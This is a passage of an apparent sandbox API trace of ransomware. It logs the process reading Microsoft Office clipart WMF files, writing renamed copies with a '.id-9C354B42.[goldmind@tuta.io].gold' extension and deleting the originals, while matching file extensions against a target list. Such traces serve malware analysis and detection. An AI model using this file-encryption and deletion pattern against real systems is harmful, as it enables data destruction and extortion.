lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString=".bz2") returned 4 [0097.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString=".7z") returned 3 [0097.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".dbf") returned 4 [0097.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".1cd") returned 4 [0097.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".jpg") returned 4 [0097.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.548] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.548] lstrlenW (lpString="HH00623_.WMF") returned 12 [0097.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.548] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=10644) returned 1 [0097.548] CloseHandle (hObject=0x3b0) returned 1 [0097.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0097.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.549] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.549] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0097.550] GetLastError () returned 0x0 [0097.550] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2994, lpOverlapped=0x0) returned 1 [0097.551] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0097.691] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.692] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.692] SetEndOfFile (hFile=0x394) returned 1 [0097.692] CloseHandle (hObject=0x394) returned 1 [0097.692] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.692] SetEndOfFile (hFile=0x3b0) returned 1 [0097.695] CloseHandle (hObject=0x3b0) returned 1 [0097.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0098.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.073] lstrlenW (lpString=".doc") returned 4 [0098.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString=".docx") returned 5 [0098.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.073] lstrlenW (lpString=".pdf") returned 4 [0098.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString=".xls") returned 4 [0098.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.073] lstrlenW (lpString=".xlsx") returned 5 [0098.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.073] lstrlenW (lpString=".ppt") returned 4 [0098.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.073] lstrlenW (lpString=".zip") returned 4 [0098.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.073] lstrlenW (lpString=".rar") returned 4 [0098.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString=".bz2") returned 4 [0098.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString=".7z") returned 3 [0098.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.073] lstrlenW (lpString=".dbf") returned 4 [0098.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".1cd") returned 4 [0098.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".jpg") returned 4 [0098.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".doc") returned 4 [0098.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString=".docx") returned 5 [0098.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.074] lstrlenW (lpString=".pdf") returned 4 [0098.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString=".xls") returned 4 [0098.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.074] lstrlenW (lpString=".xlsx") returned 5 [0098.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.074] lstrlenW (lpString=".ppt") returned 4 [0098.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".zip") returned 4 [0098.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.074] lstrlenW (lpString=".rar") returned 4 [0098.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString=".bz2") returned 4 [0098.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString=".7z") returned 3 [0098.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".dbf") returned 4 [0098.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".1cd") returned 4 [0098.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0098.074] lstrlenW (lpString=".jpg") returned 4 [0098.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.074] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.074] lstrlenW (lpString="HH00693_.WMF") returned 12 [0098.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.075] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7098) returned 1 [0098.075] CloseHandle (hObject=0x33c) returned 1 [0098.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0098.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.075] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.075] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.076] GetLastError () returned 0x0 [0098.076] ReadFile (in: hFile=0x33c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0098.123] WriteFile (in: hFile=0x3a4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0098.124] ReadFile (in: hFile=0x33c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.124] WriteFile (in: hFile=0x3a4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.124] SetEndOfFile (hFile=0x3a4) returned 1 [0098.125] CloseHandle (hObject=0x3a4) returned 1 [0098.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.125] SetEndOfFile (hFile=0x33c) returned 1 [0098.126] CloseHandle (hObject=0x33c) returned 1 [0098.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0098.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.370] lstrlenW (lpString=".doc") returned 4 [0098.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.370] lstrlenW (lpString=".docx") returned 5 [0098.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.370] lstrlenW (lpString=".pdf") returned 4 [0098.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.370] lstrlenW (lpString=".xls") returned 4 [0098.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.370] lstrlenW (lpString=".xlsx") returned 5 [0098.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.370] lstrlenW (lpString=".ppt") returned 4 [0098.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.370] lstrlenW (lpString=".zip") returned 4 [0098.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.370] lstrlenW (lpString=".rar") returned 4 [0098.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.370] lstrlenW (lpString=".bz2") returned 4 [0098.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString=".7z") returned 3 [0098.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".dbf") returned 4 [0098.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".1cd") returned 4 [0098.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".jpg") returned 4 [0098.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".doc") returned 4 [0098.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString=".docx") returned 5 [0098.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.371] lstrlenW (lpString=".pdf") returned 4 [0098.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString=".xls") returned 4 [0098.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.371] lstrlenW (lpString=".xlsx") returned 5 [0098.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.371] lstrlenW (lpString=".ppt") returned 4 [0098.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".zip") returned 4 [0098.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.371] lstrlenW (lpString=".rar") returned 4 [0098.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString=".bz2") returned 4 [0098.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString=".7z") returned 3 [0098.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".dbf") returned 4 [0098.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".1cd") returned 4 [0098.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0098.371] lstrlenW (lpString=".jpg") returned 4 [0098.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.371] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.371] lstrlenW (lpString="HH01015_.WMF") returned 12 [0098.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0098.471] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1148) returned 1 [0098.471] CloseHandle (hObject=0x3a0) returned 1 [0098.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0098.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.480] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.480] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0098.481] GetLastError () returned 0x0 [0098.481] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x47c, lpOverlapped=0x0) returned 1 [0098.482] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x480, lpOverlapped=0x0) returned 1 [0098.483] ReadFile (in: hFile=0x3a4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.483] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.483] SetEndOfFile (hFile=0x380) returned 1 [0098.483] CloseHandle (hObject=0x380) returned 1 [0098.483] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.483] SetEndOfFile (hFile=0x3a4) returned 1 [0098.485] CloseHandle (hObject=0x3a4) returned 1 [0098.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".doc") returned 4 [0098.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString=".docx") returned 5 [0098.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.486] lstrlenW (lpString=".pdf") returned 4 [0098.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString=".xls") returned 4 [0098.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.486] lstrlenW (lpString=".xlsx") returned 5 [0098.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.486] lstrlenW (lpString=".ppt") returned 4 [0098.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".zip") returned 4 [0098.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.486] lstrlenW (lpString=".rar") returned 4 [0098.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString=".bz2") returned 4 [0098.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString=".7z") returned 3 [0098.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".dbf") returned 4 [0098.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".1cd") returned 4 [0098.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".jpg") returned 4 [0098.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.486] lstrlenW (lpString=".doc") returned 4 [0098.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.486] lstrlenW (lpString=".docx") returned 5 [0098.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.486] lstrlenW (lpString=".pdf") returned 4 [0098.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString=".xls") returned 4 [0098.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.487] lstrlenW (lpString=".xlsx") returned 5 [0098.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.487] lstrlenW (lpString=".ppt") returned 4 [0098.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.487] lstrlenW (lpString=".zip") returned 4 [0098.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.487] lstrlenW (lpString=".rar") returned 4 [0098.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString=".bz2") returned 4 [0098.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString=".7z") returned 3 [0098.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.487] lstrlenW (lpString=".dbf") returned 4 [0098.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0098.487] lstrlenW (lpString=".1cd") returned 4 [0098.487] 